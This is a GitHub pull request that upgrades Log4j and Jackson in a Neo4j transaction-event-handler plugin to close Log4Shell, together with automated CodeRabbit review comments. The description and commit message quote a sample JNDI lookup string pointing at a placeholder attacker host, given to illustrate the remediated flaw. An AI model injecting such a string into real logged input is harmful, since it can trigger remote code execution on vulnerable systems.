Skip to content

fix(security): remediate Log4Shell + EOL Jackson in neo4j transaction-event-handler - #21

Open
pallakartheekreddy wants to merge 1 commit into
mainfrom
security/log4shell-jackson-neo4j-handler
Open

fix(security): remediate Log4Shell + EOL Jackson in neo4j transaction-event-handler#21
pallakartheekreddy wants to merge 1 commit into
mainfrom
security/log4shell-jackson-neo4j-handler

Conversation

@pallakartheekreddy

@pallakartheekreddy pallakartheekreddy commented Jul 22, 2026

Copy link
Copy Markdown
Contributor

Summary

Remediates the Log4Shell (CVE-2021-44228) exposure and EOL Jackson in neo4j-extensions/transaction-event-handler — PLAN.md Critical #3 / top quick-win #1, tracked as X1/X2 (Wave 0) in implementation-designs/knowledge-platform-db-extensions.md.

The vulnerability

transaction-event-handler/pom.xml pinned log4j-core/api/1.2-api at 2.8.2 and jackson-core/databind at 2.7.4, all compile scope so bundled into the plugin jar deployed to $NEO4J_HOME/plugins/. The handler logs attacker-influenceable graph property values (name, channel, arbitrary metadata) through log4j2 (utils/LogAsyncGraphEvent.java:23), so a crafted value like ${jndi:ldap://attacker/x} reaching the graph → JNDI lookup → RCE inside the Neo4j JVM. Jackson 2.7.4 is years-EOL with known polymorphic-deserialization CVEs.

The fix

  • log4j-* 2.8.2 → 2.17.1 — last line guaranteeing Java 8 (module is pinned to Java 8 for Neo4j 3.0.4); fully closes the Log4Shell chain (CVE-2021-44228/45046/45105/44832).
  • jackson-core/jackson-databind 2.7.4 → 2.17.2 — Java-8 compatible.
  • Introduced <log4j.version> / <jackson.version> properties so the artifacts stay in lockstep and CI can gate on regressions.

Dependency-only change to an in-process DB plugin — payload/contract unchanged, no consumer coordination. Rollout = rebuild jar → replace under plugins/ → restart Neo4j (rolling per HA member). Rollback = redeploy prior jar.

Note (per design §1.4): if Neo4j is no longer in production, Track DECOM (deleting this module) is the cheaper complete remediation. This PR is Track PATCH — the complete CVE fix that is safe whether or not Neo4j is still live, and needs no ops decision to land.

Verification

  • mvn dependency:tree resolves log4j 2.17.1 / jackson 2.17.2 (annotations aligned), with no 2.8.2 / 2.7.4 remaining anywhere in the tree.
  • Module compiles under JDK 8 with the new deps.
  • The pre-existing TestNeo4JCluster embedded-Neo4j integration failures are unchanged by this bump — confirmed byte-for-byte identical (9/9) when run against the original 2.8.2/2.7.4 versions, so they are environmental and not a regression from this change.

Usage code compatibility

Only ObjectMapper.writeValueAsString (Jackson) and the standard org.apache.logging.log4j 2.x LogManager/Logger API are used — both fully compatible across these version ranges.

Summary by CodeRabbit

  • Bug Fixes
    • Updated Log4j and Jackson components to newer versions, improving security and maintenance.
    • Centralized dependency version management for more consistent component updates.

@coderabbitai

coderabbitai Bot commented Jul 22, 2026

Copy link
Copy Markdown

Review Change Stack

Warning

Review limit reached

@pallakartheekreddy, you've reached your PR review limit, so we couldn't start this review.

Next review available in: 47 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 6983bdb2-f15e-44d2-a967-36dcb2aa0351

📥 Commits

Reviewing files that changed from the base of the PR and between c3d4942 and de19b05.

📒 Files selected for processing (1)
  • neo4j-extensions/transaction-event-handler/pom.xml
📝 Walkthrough

Walkthrough

The transaction event handler Maven POM centralizes Log4j and Jackson versions through new properties and updates five dependency declarations to reference those properties.

Changes

Dependency Version Centralization

Layer / File(s) Summary
Centralize dependency versions
neo4j-extensions/transaction-event-handler/pom.xml
Adds log4j.version and jackson.version properties and applies them to the Log4j and Jackson dependency declarations.

Estimated code review effort: 1 (Trivial) | ~5 minutes

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Title check ✅ Passed The title clearly names the security remediation and the affected module, matching the changes.
Description check ✅ Passed The description covers summary, motivation, verification, and compatibility, with only template-specific sections missing.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch security/log4shell-jackson-neo4j-handler

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@neo4j-extensions/transaction-event-handler/pom.xml`:
- Around line 12-17: Update the log4j.version property in the
transaction-event-handler Maven configuration from 2.17.1 to the latest Java
8-compatible 2.x release, keeping log4j-api, log4j-core, and log4j-1.2-api
aligned through that property. Leave jackson.version at 2.17.2 and revise the
outdated Log4j comment accordingly.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 6041428e-2c4b-4afc-92aa-ec6151985120

📥 Commits

Reviewing files that changed from the base of the PR and between 6acd451 and c3d4942.

📒 Files selected for processing (1)
  • neo4j-extensions/transaction-event-handler/pom.xml

Comment on lines +12 to +17
<!-- log4j 2.17.1 is the last line guaranteeing Java 8 and fully remediates the
Log4Shell CVE chain (CVE-2021-44228/45046/45105/44832). Keep the three
artifacts in lockstep via this property. -->
<log4j.version>2.17.1</log4j.version>
<!-- Jackson 2.17.x replaces the EOL 2.7.4 (polymorphic-deserialization CVEs); Java-8 compatible. -->
<jackson.version>2.17.2</jackson.version>

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

module='neo4j-extensions/transaction-event-handler'
effective_pom="$(mktemp)"
trap 'rm -f "$effective_pom"' EXIT

mvn -pl "$module" -am help:effective-pom -Doutput="$effective_pom"
mvn -pl "$module" -am dependency:tree -Dverbose \
  '-Dincludes=org.apache.logging.log4j:*,com.fasterxml.jackson.core:*'

if rg -n '2\.8\.2|2\.7\.4' "$effective_pom"; then
  echo "Vulnerable dependency versions remain in the effective POM" >&2
  exit 1
fi

rg -n '<log4j.version>|<jackson.version>|\$\{(log4j|jackson)\.version\}' \
  "$effective_pom"

Repository: Sunbird-Knowlg/knowledge-platform-db-extensions

Length of output: 226


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

# Locate the target POM and related dependency declarations.
git ls-files 'neo4j-extensions/transaction-event-handler/pom.xml' \
  'neo4j-extensions/**/pom.xml' \
  'pom.xml' \
  | sed -n '1,200p'

echo
echo '--- target pom excerpt ---'
cat -n neo4j-extensions/transaction-event-handler/pom.xml | sed -n '1,220p'

echo
echo '--- search for log4j/jackson version properties and overrides ---'
rg -n '<(log4j|jackson)\.version>|log4j-core|log4j-1\.2-api|jackson-databind|jackson-annotations|jackson-core' \
  neo4j-extensions pom.xml -g 'pom.xml'

Repository: Sunbird-Knowlg/knowledge-platform-db-extensions

Length of output: 6026


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

# Check whether the module uses only these two properties or if there are other overrides in the reactor.
rg -n '2\.17\.1|2\.17\.2|2\.8\.2|2\.7\.4|2\.18|2\.21|log4j.version|jackson.version' \
  . -g 'pom.xml' -g 'pom.properties' -g 'build.gradle' -g 'build.gradle.kts' -g 'gradle.properties'

Repository: Sunbird-Knowlg/knowledge-platform-db-extensions

Length of output: 1379


🌐 Web query:

Apache Log4j 2.17.1 maintenance status Java 8 current release line official site Jackson 2.17 2.18 Java 8 official release notes

💡 Result:

Apache Log4j 2.17.1 is in End-of-Maintenance (EOM) status [1]. The Apache Log4j project does not provide active maintenance, including security updates, for the 2.17.x line; only the latest release in the 2.x series receives such updates [2][3]. Users are advised to upgrade to the latest 2.x release, which remains compatible with Java 8 [1][4][5]. Regarding Jackson, both version 2.17 and 2.18 are established releases [6][7][8]. Jackson 2.18 was released on September 26, 2024, and is designated as a Long-Term-Support (LTS) version intended to be open for patch releases through at least the end of 2026 [7]. Both 2.17 and 2.18 require a minimum of Java 8 [9]. Jackson release notes confirm that these versions continue to support Java 8 environments and have introduced features related to Java 8 datatypes and records [7][8].

Citations:


Bump Log4j off the EOM line neo4j-extensions/transaction-event-handler/pom.xml:12-17 pins log4j-api, log4j-core, and log4j-1.2-api to 2.17.1; move them to the latest Java 8-compatible 2.x release. jackson.version can stay at 2.17.2.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@neo4j-extensions/transaction-event-handler/pom.xml` around lines 12 - 17,
Update the log4j.version property in the transaction-event-handler Maven
configuration from 2.17.1 to the latest Java 8-compatible 2.x release, keeping
log4j-api, log4j-core, and log4j-1.2-api aligned through that property. Leave
jackson.version at 2.17.2 and revise the outdated Log4j comment accordingly.

Source: MCP tools

…-event-handler

The neo4j-extensions/transaction-event-handler plugin bundled (compile scope)
log4j-core/api/1.2-api 2.8.2 and jackson-core/databind 2.7.4. The handler logs
attacker-influenceable graph property values (name, channel, arbitrary metadata)
through log4j2, so a crafted value such as ${jndi:ldap://.../x} reaching the graph
could trigger a JNDI lookup -> RCE inside the DB JVM (CVE-2021-44228 / Log4Shell).
Jackson 2.7.4 is years-EOL with known polymorphic-deserialization CVEs.

- Bump log4j-* 2.8.2 -> 2.17.1 (last line guaranteeing Java 8; fully closes the
  Log4Shell chain CVE-2021-44228/45046/45105/44832).
- Bump jackson-core/databind 2.7.4 -> 2.17.2 (Java-8 compatible).
- Introduce <log4j.version>/<jackson.version> properties so the artifacts stay
  in lockstep and regressions are easy to gate on.

Dependency-only change to an in-process DB plugin; payload/contract unchanged.
Module stays on Java 8 (Neo4j 3.0.4). Verified: `mvn dependency:tree` resolves
2.17.1/2.17.2 with no 2.8.2/2.7.4 remaining; module compiles under JDK 8. The
pre-existing TestNeo4JCluster integration failures are unchanged by this bump
(confirmed identical on the original versions).

Implements X1/X2 (Wave 0) from implementation-designs/knowledge-platform-db-extensions.md.
@pallakartheekreddy
pallakartheekreddy force-pushed the security/log4shell-jackson-neo4j-handler branch from c3d4942 to de19b05 Compare July 22, 2026 07:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant